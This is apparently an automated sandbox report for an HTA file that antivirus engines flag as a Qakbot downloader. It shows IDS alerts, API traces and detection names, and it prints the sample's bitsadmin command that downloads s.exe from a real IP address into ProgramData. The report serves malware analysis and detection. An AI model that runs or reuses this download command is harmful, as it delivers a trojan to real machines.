popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

dll.hta

  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us April 3, 2024, 1:39 p.m. April 3, 2024, 1:45 p.m.
Size 834.0B
Type HTML document, ASCII text, with CRLF line terminators
MD5 e81963d4c5a431f529c7669d3595a943
SHA256 cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b
CRC32 5092EC86
ssdeep 24:hMNmMvy4GqptE0ia57Irp8xuY8y+/r88+M8E4olEC:ImMqopO0Jx4d4+/Xt40F
Yara None matched

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
162.19.139.184 Active Moloch
210.246.215.82 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49163 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49163 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49163 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49163 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 210.246.215.82:80 -> 192.168.56.103:49165 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 210.246.215.82:80 -> 192.168.56.103:49165 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 210.246.215.82:80 -> 192.168.56.103:49165 2015745 ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging) Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2018581 ET MALWARE Single char EXE direct download likely trojan (multiple families) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 210.246.215.82:80 2022858 ET HUNTING Suspicious BITS EXE DL From Dotted Quad Misc activity

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: BITSADMIN version 3.0 [ 7.5.7601 ]
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITS administration utility.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: (C) Copyright 2000-2006 Microsoft Corp.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: NORMAL
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0 / UNKNOWN
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: NORMAL
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0 / UNKNOWN
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: NORMAL
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: NORMAL
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001ad537a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001ad53810
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001ad53810
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features Connection to IP address suspicious_request HEAD http://210.246.215.82/s.exe
suspicious_features Connection to IP address suspicious_request GET http://210.246.215.82/s.exe
request HEAD http://210.246.215.82/s.exe
request GET http://210.246.215.82/s.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000610000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000760000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2481000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2b1b000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 2490368
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2482000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2484000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2484000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2484000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2484000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92d9c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92dc6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92da0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cfc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cfa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92ceb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92d0b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92d3c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92d0d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cfd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92e17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cfb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2616
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe92cec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9935740928
free_bytes_available: 9935740928
root_path: C:\
total_number_of_bytes: 34252779520
1 1 0
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: bitsadmin
parameters: /transfer 8 http://210.246.215.82/s.exe C:\ProgramData\s.exe
filepath: bitsadmin
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 162.19.139.184
host 210.246.215.82
Lionic Trojan.HTML.Qakbot.a!c
VIPRE Generic.HTA.Qakbot.H.AF6D1379
Arcabit Generic.HTA.Qakbot.H.AF6D1379
Symantec CL.Downloader!gen92
ESET-NOD32 VBS/TrojanDownloader.Agent.ZKQ
Avast VBS:Runner-NG [Trj]
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender Generic.HTA.Qakbot.H.AF6D1379
MicroWorld-eScan Generic.HTA.Qakbot.H.AF6D1379
Emsisoft Generic.HTA.Qakbot.H.AF6D1379 (B)
FireEye Generic.HTA.Qakbot.H.AF6D1379
Kingsoft Win32.Infected.AutoInfector.a
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
GData Generic.HTA.Qakbot.H.AF6D1379
Tencent Vbs.Trojan-Downloader.Der.Ocnw
MAX malware (ai score=89)
Fortinet VBS/Agent.VHJ!tr.dldr
AVG VBS:Runner-NG [Trj]
Time & API Arguments Status Return Repeated

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x0000000000338530
flags: 0
1 1 0
cmdline "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://210.246.215.82/s.exe C:\ProgramData\s.exe
cmdline bitsadmin /transfer 8 http://210.246.215.82/s.exe C:\ProgramData\s.exe